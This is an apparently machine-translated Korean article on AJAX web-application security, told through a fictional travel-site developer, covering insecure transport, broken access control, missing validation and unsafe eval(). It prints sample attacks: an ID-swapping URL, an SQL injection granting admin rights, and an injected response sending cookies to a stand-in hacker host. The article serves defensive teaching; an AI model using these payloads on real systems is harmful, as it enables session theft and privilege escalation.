웹 개발자는 "AJAX(Asynchronous JavaScript And XML)"가 가져오는 즐거움을 눈치 채지 못할 것입니다. Google Suggest와 같은 스마트 웹사이트나 Gmail과 같은 웹 기반 애플리케이션을 만드는 것은 이 기술 덕분에 매우 쉽습니다. 그러나 AJAX 애플리케이션이 개발되면서 우리는 몇 가지 단점을 발견했고, AJAX 기반 사이트가 서서히 시한폭탄에 빠지는 것처럼 보안 허점도 점차 커지고 있다는 사실을 발견했습니다. 웹 개발자는 "AJAX(Asynchronous JavaScript And XML)"가 가져오는 즐거움을 눈치 채지 못할 것입니다. Google Suggest와 같은 스마트 웹사이트나 Gmail과 같은 웹 기반 애플리케이션을 만드는 것은 이 기술 덕분에 매우 쉽습니다. 그러나 AJAX 애플리케이션이 개발되면서 우리는 몇 가지 단점을 발견했고, AJAX 기반 사이트가 서서히 시한폭탄에 빠지는 것처럼 보안 허점도 점차 커지고 있다는 사실을 발견했습니다.
AJAX의 장점
"웹 앱"의 옛날에는 모든 것이 매우 간단했습니다. 양식을 작성하고 "제출" 버튼을 클릭하면 현재 화면이 사라지고 잠시 기다린 후 다음 페이지로 이동됩니다. 오늘날에는 더 이상 그렇지 않습니다. 사용자가 원하는 것은 데스크탑 애플리케이션만큼 원활하고 빠르며 사용자 친화적인 웹 경험입니다.
AJAX는 종종 DHTML(동적 HTML)과 함께 작동하며 원활한 실행을 위해서는 웹 페이지의 JavaScript 코드와 웹 서버가 백그라운드에서 원활하게 통신할 수 있어야 합니다. 예를 들어, Google 추천 검색창에 무언가를 입력하기 시작하면 웹페이지와 서버가 백그라운드에서 데이터를 교환하기 시작하고 필요할 수 있는 몇 가지 용어가 제공됩니다. 페이지를 새로 고치거나 버튼을 누르지 않고도 이 모든 작업을 수행할 수 있습니다. 이것이 바로 Gmail과 같은 앱이 실시간 맞춤법 검사 기능을 훌륭하게 수행하는 이유이기도 합니다.
AJAX 작동 방식
AJAX의 복잡한 원리는 오늘 설명 범위를 벗어나므로 여기서는 간략하게만 설명하겠습니다. 페이지의 JavaScript 코드는 사용자에게 의존하지 않고 웹 서버에 접속할 수 있습니다. 여기서 핵심 역할은 JavaScript의 XMLHttpRequest 개체입니다. 이 개체는 백그라운드에서 또는 사용자 키 입력이나 시계 이벤트(즉, 비동기 JavaScript 및 XML이라는 용어)와 같은 이벤트에 의해 비동기적으로 트리거될 수 있습니다.
Google Suggest에 "ajax"를 입력하면 제가 입력한 것과 같은 서버 요청을 받게 됩니다.
1. www.google.com/complete/search?hl=ko&js=true&qu=aj
2. www.google.com/complete/search?hl=ko&js=true&qu=aja
3. www.google.com/complete/search?hl=ko&js=true&qu=ajax
이 용어의 XML 부분은 약간 오해의 소지가 있습니다. 실제로는 의미가 없습니다. JavaScript 개체에서 이름을 가져오며 많은 AJAX 스타일 응용 프로그램은 XML을 사용하여 모든 트랜잭션에 대해 서버에 요청할 수 있습니다. JavaScript 코드 자체도 검색하고 평가할 수 있습니다. 계속해서 "ajax example" 입력을 완료하면 Google 서버에서 다음 응답이 생성됩니다.
sendRPCDone(frameElement, "ajax 예제", new Array("ajax 예제", "ajax 예제"), new Array("결과 153,000개", "결과 177,000개"), new Array(""));
이는 브라우저에 즉시 새로운 JavaScript 코드를 추가하는 기능을 갖춘 AJAX의 강력한 기능에 대한 힌트를 제공합니다. 그러나 최적의 접근 방식은 XML 프로토콜을 바인딩하는 것 같습니다. 예를 들어 Google은 다음을 생성했습니다.
아약스 예
153,000
아약스 예
177,000
분명히 이 XML 데이터를 적절한 형식으로 구문 분석할 수 있지만 매우 일반적인 제약 조건과 수많은 불쾌한 IE 버그 하에서 XML 개체를 매우 잘 처리할 수 있는 JavaScript의 능력에 대해 감사해야 합니다.
여러분의 Ajax 문제에 대한 이해를 돕기 위해 가상의 여행사인 "Times Cutting Edge Travel Company"를 소개하려고 왔습니다. AJAX 버그로 인해 수석 웹 개발자인 Max Uptime은 이와 같은 애플리케이션을 만들기 위해 AJAX를 혼합하기로 결정했습니다.
AJAX 문제
AJAX 보안 위험의 절반 이상이 서버에 숨겨진 취약점에서 비롯됩니다. 분명히 보안 코딩 기술을 사용하는 좋은 설계는 AJAX를 더욱 안전하게 만드는 데 큰 도움이 됩니다. Max는 OWASP(Open Web Application Security Project)의 최악의 10대 웹 애플리케이션 보안 취약성 목록( www. owasp.org ). 불행하게도 Max가 AJAX를 구현했을 때 그는 여전히 여러 가지 추가 요인에 직면해야 했습니다.
1. 새로운 기술: Max가 자신의 사이트를 SQL 데이터베이스에 연결하려고 했다면 Google에서 수백만 개의 예를 찾았을 것입니다. AJAX 기술은 이 기술이 아무리 초기 단계에 있더라도 아직 조달 주기 초기 단계에 있지만 웹에는 몇 가지 좋은 예만 나와 있습니다. 어렵고 불필요한 복잡한 문제를 해결하려면 Max와 같은 개발자가 독립적으로 개발해야 합니다. Max는 서버 측 및 클라이언트 측 코드를 작성하여 자신이 확실하지 않은 프로토콜(특히 서버 응답의 경우)을 작성해야 했습니다. 이러한 합의가 아무리 훌륭하더라도 시간이 지나면 페이지에 반영됩니다.
2. 비전통적인 디자인: AJAX는 절반은 클라이언트이고 절반은 서버이기 때문에 전통적인 디자인과 약간 다릅니다. Max의 경우, 그는 유일한 개발자이기 때문에 서버와 클라이언트 모두에 대한 코딩을 할 수 있습니다. 동시에 두 가지 다른 언어로 개발하면(특히 초기 단계에서) 두 끝 사이를 왔다 갔다 하기 때문에 약간의 기본적인 코딩 오류가 발생합니다. . Max에 대규모 개발 팀이 있더라도 서버와 클라이언트 개발 팀 간에 코드가 전달될 때 보안 코딩 책임이 발생할 수 있습니다.
3. 스크립팅 언어가 너무 많습니다. Max는 자신의 독창성을 사용하여 세계 최고의 여행 체크인 도구를 만들기로 결정했습니다. 우편번호, 전화 지역번호, GPS 등을 통해 현재 위치를 입력하여 등록을 시작하면 정확한 위치를 확인하기 위해 AJAX 요청이 즉시 전송됩니다. 그 시점부터, 어디로 가고 싶은지, 언제 떠나고 싶은지, 누구와 함께 갈지 결정하기 전에 사용할 수 있는 모든 여행 옵션이 화면에 표시됩니다.
이 화면의 셀과 컨트롤은 모두 AJAX 기반이며 서버측 및 클라이언트측 스크립트에는 20개 이상의 서로 다른 서버 호출이 필요할 수 있습니다. findairportsbylocation.aspx 또는determinmaxbaggageallowancebyairline.php와 같은 작은 개별 서버 프로그램을 상상할 수 있습니다.
Max의 신중한 계획(다용도의 "오버로드된" JavaScript 함수 및 서버 스크립트 작성 등)이 없었다면 그는 각 디자인에 대해 40개가 넘는 별도의 조각을 만들었을 것임이 분명해졌습니다. 더 많은 프로그래밍은 더 많은 오류와 버그를 의미하며 이는 코드 작성, 관리, 테스트 및 업데이트에 더 많은 시간을 의미합니다. 뿐만 아니라 클라이언트측 JavaScript 코드에 사용되는 이러한 스크립트의 수가 많기 때문에 공식 프로그램 테스트 중에 잊어버리는 경향이 있습니다.
4. 소량의 AJAX가 해를 끼치지 않는지 확인하십시오. 이 사이트는 여행 계획을 세우는 사이트이지만 목적지의 정확한 위치와 기상 조건을 보여주는 위성 보기를 즉시 제공할 것이라고 Max는 생각하고 있습니다. . AJAX의 가장 큰 유혹 중 하나는 해설자가 AJAX를 위해 AJAX를 사용하여 설명하는 것처럼 마지막 순간까지 다른 작업을 수행하는 것처럼 보인다는 것입니다. Max는 자신의 새로운 아이디어를 시험하기 시작할 때 점차적으로 더 많은 새로운 기능을 추가하려고 시도하며 테스트의 필요성을 완전히 무시합니다.
5. 안전하지 않은 통신: 각 AJAX 호출은 소량의 데이터만 클라이언트에 반환할 수 있지만 해당 데이터는 비공개이며 기밀입니다. Max는 신용 카드 번호를 디지털 방식으로 확인하는 편리한 도구를 작성할 수 있지만 SSL을 통해 일반 텍스트를 사용하여 데이터를 전송하면 어떻게 될까요? 당연한 질문이지만 고려해야 할 루틴이 많을 때 특히 다른 99% 화면의 데이터는 진정한 기밀 데이터가 아니므로 SSL을 무시하기 쉽습니다.
6. 서버 측 액세스 제어: JavaScript 프로그램을 사용하여 AJAX를 실행하면 서버 측 액세스 제어가 명백한 코딩 오류를 숨기는 경우가 많습니다. Max가 지난번 방문한 세부 목적지를 기반으로 귀하가 가장 좋아하는 호텔을 제공하려고 한다고 가정해 보겠습니다.
showprevioushotels.aspx?userid=12345&destination=UK
물론 이것은 매우 좋지만 악의적인 사용자가 URL을 다음과 같이 변경하면 어떻게 될까요?
showprevioushotels.aspx?userid=12346&destination=%
다른 사람들이 좋아하는 호텔을 얻을 수 있나요? (참고: %는 SQL 문에서 와일드카드 문자입니다.) 의심할 여지 없이 이는 무해한 예이지만 Max는 세션, 쿠키 또는 기타 토큰을 사용하여 데이터가 올바른 사용자에게만 전송될 수 있도록 해야 합니다. 이는 데이터의 작은 부분일 수도 있지만 가장 중요한 부분일 수도 있습니다.
7. 서버 측 유효성 검사: 여기에는 실제로 두 가지 문제가 있습니다. 첫째, AJAX 컨트롤은 서버에 최종 제출하기 전에 사용자 입력의 유효성을 검사하는 데 자주 사용됩니다. 이로 인해 Max는 마비되고 ID를 기반으로 사용자의 올바른 목적지를 결정하는 alloweddestinations.php라는 함수를 설정하기 때문에 잘못된 보안 감각을 갖게 됩니다.
이는 서버 측 검사이므로 페이지가 최종 제출될 때 서버에서 다시 검사를 수행하는 것에 대해 걱정할 필요가 없습니다. 우리는 악의적인 사용자가 alloweddestinations.php의 응답을 파괴하거나 최종 요청을 파괴할 수 없다고 가정합니다. 서버.
AJAX 컨트롤은 사용자 자신보다 사용자 입력을 더 신중하게 확인할 수 있지만 여전히 서버에서 최종 확인을 수행하는 경우가 많습니다.
AJAX 유효성 검사의 두 번째 문제는 컨트롤 자체가 유효성 검사 취약성에 취약하다는 것입니다. 다시 말하지만, URL은 숨겨져 있는 경우가 많기 때문에 잊어버리는 경우가 많습니다. 예를 들어, 다음과 같이 SQL 주입을 사용하여 바로 지금 스크립트를 공격할 수 있습니다.
showprevioushostels.aspx?userid='; 사용자 설정 유형='admin' 업데이트, userid=12345;--
시스템 관리자 권한으로 로그인할 수 있습니다. 물론 이러한 테이블 이름과 필드 이름을 얻는 방법은 이 기사의 범위를 벗어납니다. 그러나 이러한 상황은 이미 알고 계시지 않습니까?
8. 클라이언트 측 검증: 우리는 지금 Google Suggest 예제에서 단순히 서버 측 응답을 평가함으로써 JavaScript 함수를 동적으로 생성하고 실행하는 것이 가능하다는 것을 이미 알고 있습니다. 어떤 형태의 검증도 없이(클라이언트 측에서 신뢰성과 유창성을 보장하기 어려울 수 있음) 클라이언트는 서버에서 요구하는 작업을 수행하기만 하면 됩니다.
이 경우 실제 코드 실행은 일반 사용자에게 전혀 표시되지 않으므로(즉, "소스를 볼" 수 없음) 잠재적으로 악의적인 해커에게 완전한 공격 경로가 열릴 수 있습니다. 서버의 응답이 지속적으로 변조되는 경우(웹 서버 자체에서 또는 데이터 전송 중에) 이 공격을 감지하기가 어렵습니다.
Max는 다음 응답을 사용하여 대상 웹 페이지의 날씨 아이콘을 업데이트합니다. 그가 사용하는 함수는 eval()입니다.
updateWeatherIcon('cloudy.gif');
그러나 악의적인 크래커는 이 기능을 다음과 같은 형태로 변경하여 공격을 탐지하기 더 어렵게 만들 수 있습니다.
updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookies); updateWeatherIcon('cloudy.gif');
이제 우리는 자체 서버에서 각 사용자의 세션 ID/쿠키를 추적할 수 있습니다.
요약
AJAX와 AJAX 스타일 기술이 웹 디자인을 향한 밝은 길이라는 것은 의심의 여지가 없습니다. 개발자는 이전에는 불가능했던 실제 "응용 프로그램"을 웹에서 만들 수 있지만 AJAX를 사용할 때는 웹 사이트의 보안을 보장하기 위해 주의를 기울여야 합니다.
그러나 가장 큰 위협 중 하나는 AJAX를 사용하는 점점 더 정교해지는 클라이언트 측 스크립트와 서버 측 스크립트에서 비롯됩니다. 이러한 스크립트는 기술적인 수단으로 숨겨져 있어 테스트가 직관적이지 않게 됩니다. 동시에 이 새로운 기술은 웹 개발자가 좋은 코딩의 기본을 잊어버리게 만드는 것 같습니다. 액세스 제어 및 입력 유효성 검사와 같은 문제는 사라지지 않고 점점 더 많아지고 복잡해지고 있습니다.
-